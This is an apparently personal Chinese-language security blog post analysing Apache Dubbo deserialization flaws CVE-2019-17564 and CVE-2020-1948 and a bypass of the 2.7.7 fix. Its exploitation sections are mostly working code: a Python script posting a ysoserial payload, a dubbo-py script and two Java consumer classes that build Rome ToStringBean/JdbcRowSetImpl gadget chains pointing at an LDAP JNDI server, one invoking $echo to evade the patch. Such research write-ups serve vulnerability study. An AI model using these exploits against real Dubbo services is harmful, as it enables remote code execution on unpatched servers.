Dubbo反序列化漏洞

前言

最近看到的 Dubbo 反序列化漏洞,以前没有见过这个框架,现在顺便总结一下最近的几个反序列化洞。


Dubbo

Dubbo 是一个分布式服务框架远程调用框架,类似 Java 的 RMI 远程方法调用,需要进行跨 JVM 的远程网络通信,所以就要用到序列化和反序列化。而 Dubbo 中有多种序列化方式,有的序列化方式在反序列化收到的数据的时候,就容易受到反序列化攻击。

CVE-2019-17564

环境搭建

GitHub 上面拖一个 demo,然后 IDEA 打开使用 HTTP 协议的 dubbo-samples-http 文件夹,修改一下 pom.xml 里面的 Dubbo 版本,再加入一个可以利用的 Gadget:

1
2
3
4
5
6
7
<dubbo.version>2.7.3</dubbo.version>
...
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

再修改一下 http-provider.xml 里面的 zookeeper 地址,这里我将 zookeeper 开在虚拟机的 docker 里面,所以这里是虚拟机地址:

1
<dubbo:registry address="zookeeper://${zookeeper.address:192.168.111.128}:2181"/>

然后在虚拟机开一个 zookeeper 容器:

1
2
docker pull zookeeper
docker run -id --name zookeeper -p 2181:2181 zookeeper

然后 Dubbo 的 HttpProvider 就可以开起来了。

漏洞原理

根据漏洞描述:

1
Unsafe deserialization occurs within a Dubbo application which has HTTPremoting enabled. An attacker may submit a POST request with a Java object init to completely compromise a Provider instance of Apache Dubbo, if thisinstance enables HTTP.

简单发一个 POST 请求,可以看到错误的调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
java.io.StreamCorruptedException: invalid stream header: 64617461
java.io.ObjectInputStream.readStreamHeader(ObjectInputStream.java:899)
java.io.ObjectInputStream.<init>(ObjectInputStream.java:357)
org.springframework.core.ConfigurableObjectInputStream.<init>(ConfigurableObjectInputStream.java:63)
org.springframework.remoting.rmi.CodebaseAwareObjectInputStream.<init>(CodebaseAwareObjectInputStream.java:97)
org.springframework.remoting.rmi.RemoteInvocationSerializingExporter.createObjectInputStream(RemoteInvocationSerializingExporter.java:125)
org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter.readRemoteInvocation(HttpInvokerServiceExporter.java:119)
org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter.readRemoteInvocation(HttpInvokerServiceExporter.java:100)
org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter.handleRequest(HttpInvokerServiceExporter.java:79)
org.apache.dubbo.rpc.protocol.http.HttpProtocol$InternalHandler.handle(HttpProtocol.java:216)
org.apache.dubbo.remoting.http.servlet.DispatcherServlet.service(DispatcherServlet.java:61)
javax.servlet.http.HttpServlet.service(HttpServlet.java:790)

因为输入的不是 Java 序列化字节码,所以会因为无法反序列化而报错,追踪调用栈,我们定位到 HttpInvokerServiceExporter 类的 readRemoteInvocation 方法:

1
2
3
4
5
6
7
8
9
10
protected RemoteInvocation readRemoteInvocation(HttpServletRequest request, InputStream is) throws IOException, ClassNotFoundException {

ObjectInputStream ois = createObjectInputStream(decorateInputStream(request, is));
try {
return doReadRemoteInvocation(ois);
}
finally {
ois.close();
}
}

可以看到从输入中创建一个 ObjectInputStream 对象,然后在 doReadRemoteInvocation 方法中:

1
2
3
4
5
6
7
8
9
protected RemoteInvocation doReadRemoteInvocation(ObjectInputStream ois) throws IOException, ClassNotFoundException {

Object obj = ois.readObject();
if (!(obj instanceof RemoteInvocation)) {
throw new RemoteException("Deserialized object needs to be assignable to type [" +
RemoteInvocation.class.getName() + "]: " + ClassUtils.getDescriptiveType(obj));
}
return (RemoteInvocation) obj;
}

进行了反序列化。

漏洞利用

很简单,POST 一个 ysoserial 生成的 payload 就好了:

1
2
3
4
5
6
7
# -*- coding:utf8 -*-
import requests
import base64

url = " http://127.0.0.1:8080/org.apache.dubbo.samples.http.api.DemoService"
data = base64.b64decode("rO...Hg=")
requests.post(url, data=data)

CVE-2020-1948

环境搭建

GItHub 上面拖一个 Dubbo 2.7.6 版本的 demo,然后用 IDEA 打开 dubbo-spring-boot-samples 文件夹,运行 DubboAutoConfigurationProviderBootstrap 类,就可以把环境开起来了。

然后给这个项目里的 pom.xml,即 dubbo-spring-boot-samples\auto-configure-samples\provider-sample\pom.xml 加上 rome 依赖:

1
2
3
4
5
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>

漏洞原理

这个漏洞有两个触发点,第一个没什么好说的,就是普通的 Hessian 反序列化攻击(就是 Dubbo 默认使用的序列化方式),Dubbo 会反序列化传输来的方法参数:

1
2
3
4
5
6
7
8
9
10
args = new Object[pts.length];
for (int i = 0; i < args.length; i++) {
try {
args[i] = in.readObject(pts[i]);
} catch (Exception e) {
if (log.isWarnEnabled()) {
log.warn("Decode argument failed: " + e.getMessage(), e);
}
}
}

另一个触发点比较有意思,利用的是打印错误信息触发的 toString,Dubbo 在找不到注册的 service 就会打印错误信息:

1
2
3
4
5
DubboExporter<?> exporter = (DubboExporter<?>) exporterMap.get(serviceKey);

if (exporter == null) {
throw new RemotingException(channel, "Not found exported service: " + serviceKey + " in " + exporterMap.keySet() + ", may be version or group mismatch " + ", channel: consumer: " + channel.getRemoteAddress() + " --> provider: " + channel.getLocalAddress() + ", message:" + inv);
}

这里的 inv 就是 DecodeableRpcInvocation 类型的对象,里面存放了远程方法调用需要的数据,比如反序列化后的 arguments,这里会隐式调用它的 toString 方法,也就是它的父类 RpcInvocation 的 toString 方法:

1
2
3
4
5
6
@Override
public String toString() {
return "RpcInvocation [methodName=" + methodName + ", parameterTypes="
+ Arrays.toString(parameterTypes) + ", arguments=" + Arrays.toString(arguments)
+ ", attachments=" + attachments + "]";
}

也就是说会调用 arguments 对象的 toString,就可以作为反序列化链的入口,比如接上 Rome 依赖中的 toStringBean 触发 JNDI 注入。

顺带一提的是,在高一点版本的 Dubbo(2.7.6)中,这个入口点已经被修复了,打印错误的代码变成了:

1
2
3
4
5
DubboExporter<?> exporter = (DubboExporter<?>) exporterMap.get(serviceKey);

if (exporter == null) {
throw new RemotingException(channel, "Not found exported service: " + serviceKey + " in " + exporterMap.keySet() + ", may be version or group mismatch " + ", channel: consumer: " + channel.getRemoteAddress() + " --> provider: " + channel.getLocalAddress() + ", message:" + getInvocationWithoutData(inv));
}

没有直接调用 inv 的 toString 方法,而是调用 getInvocationWithoutData 方法来获取数据:

1
2
3
4
5
6
7
8
9
10
11
private Invocation getInvocationWithoutData(Invocation invocation) {
if (logger.isDebugEnabled()) {
return invocation;
}
if (invocation instanceof RpcInvocation) {
RpcInvocation rpcInvocation = (RpcInvocation) invocation;
rpcInvocation.setArguments(null);
return rpcInvocation;
}
return invocation;
}

把 arguments 置空了,这个入口点也就无法使用了,除非配置了 debug 模式。

漏洞利用

第二种利用方式可以直接使用 python 的 dubbo-py 库,参考 ruilin 师傅给出的 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# -*- coding:utf8 -*-
from dubbo.codec.hessian2 import new_object
from dubbo.client import DubboClient

client = DubboClient('127.0.0.1', 12345)

JdbcRowSetImpl = new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource="ldap://127.0.0.1:1389/Exploit",
strMatchColumns=["foo"]
)
JdbcRowSetImplClass = new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean = new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)

resp = client.send_request_and_return_response(
service_name='cn.rui0',
method_name='rce',
service_version="1.0.0",
args=[toStringBean]
)

第一种的利用就比较麻烦了,因为 Rome 的 HashMap 类型要用 dubbo-py 来构造比较复杂,利用方式跟 Java RMI 客户端攻击服务端相似,不过不需要在意服务函数的参数类型,因为它的函数调用是在反序列化完成之后进行的。

所以利用的时候可以像参考文章里面那样,通过 wireshark 抓包改包来完成,也可以自己改一改它的接口(将方法参数类型改为 Object)和消费者类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
@EnableAutoConfiguration
public class DubboAutoConfigurationConsumerBootstrap {

private final Logger logger = LoggerFactory.getLogger(getClass());

@Reference(version = "1.0.0", url = "dubbo://127.0.0.1:12345")
private DemoService demoService;

private static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
private static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
}

private Object getPoc() throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("ldap://127.0.0.1:1389/Exploit");
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
HashMap hashMap = new HashMap<>(1);
hashMap.put("replacement", "Twings");
Object[] hashMapTable = (Object[])getFieldValue(hashMap, "table");
Object hashMapNode = hashMapTable[1];
setFieldValue(hashMapNode, "key", equalsBean);

return hashMap;
}

public static void main(String[] args) {
SpringApplication.run(DubboAutoConfigurationConsumerBootstrap.class).close();
}

@Bean
public ApplicationRunner runner() throws Exception {
String result = demoService.sayHello(getPoc());
System.out.println(result);
return args -> logger.info(result);
}
}

一发入魂。

2.7.7 反序列化漏洞绕过

2.7.7 在反序列化参数的时候加多了一个验证:

1
2
3
4
5
6
if (pts == DubboCodec.EMPTY_CLASS_ARRAY) {
if (!RpcUtils.isGenericCall(path, getMethodName()) && !RpcUtils.isEcho(path, getMethodName())) {
throw new IllegalArgumentException("Service not found:" + path + ", " + getMethodName());
}
pts = ReflectUtils.desc2classArray(desc);
}

这里的 pts 是一个参数类型匹配的机制,用来检测传输的参数类型跟本地配置的是否一致,如果不一致则会检测调用方法名,如果要调用的方法不是 $invoke、$invokeAsync 或者 $echo 就会直接报错退出。

其实这个验证压根不影响反序列化漏洞的利用,因为反序列化在函数函数调用之前就已经进行了,所以我们可以通过控制方法名来进行反序列化攻击,修改接口中的方法名为 $echo($invoke 会有消费者这边的问题),然后修改消费者类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
@EnableAutoConfiguration
public class DubboAutoConfigurationConsumerBootstrap {

private final Logger logger = LoggerFactory.getLogger(getClass());

@DubboReference(
version = "1.0.0",
url = "dubbo://127.0.0.1:12345",
timeout = 100
)
private DemoService demoService;

private static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
private static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
}

private Object getPoc() throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("ldap://127.0.0.1:1389/Exploit");
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
HashMap hashMap = new HashMap<>(1);
hashMap.put("replacement", "Twings");
Object[] hashMapTable = (Object[])getFieldValue(hashMap, "table");
Object hashMapNode = hashMapTable[1];
setFieldValue(hashMapNode, "key", equalsBean);

return hashMap;
}

public static void main(String[] args) {
SpringApplication.run(DubboAutoConfigurationConsumerBootstrap.class).close();
}

@Bean
public ApplicationRunner runner() throws Exception {
return args -> logger.info(demoService.$echo(getPoc()));
}
}

同样一发入魂。


参考文章:

Dubbo序列化与反序列化

CVE-2020-1948打印错误触发toString-1

CVE-2020-1948打印错误触发toString-2

CVE-2020-1948的两种触发方式


Dubbo反序列化漏洞
http://yoursite.com/2020/07/09/Dubbo反序列化漏洞/
作者
Aluvion
发布于
2020年7月9日
许可协议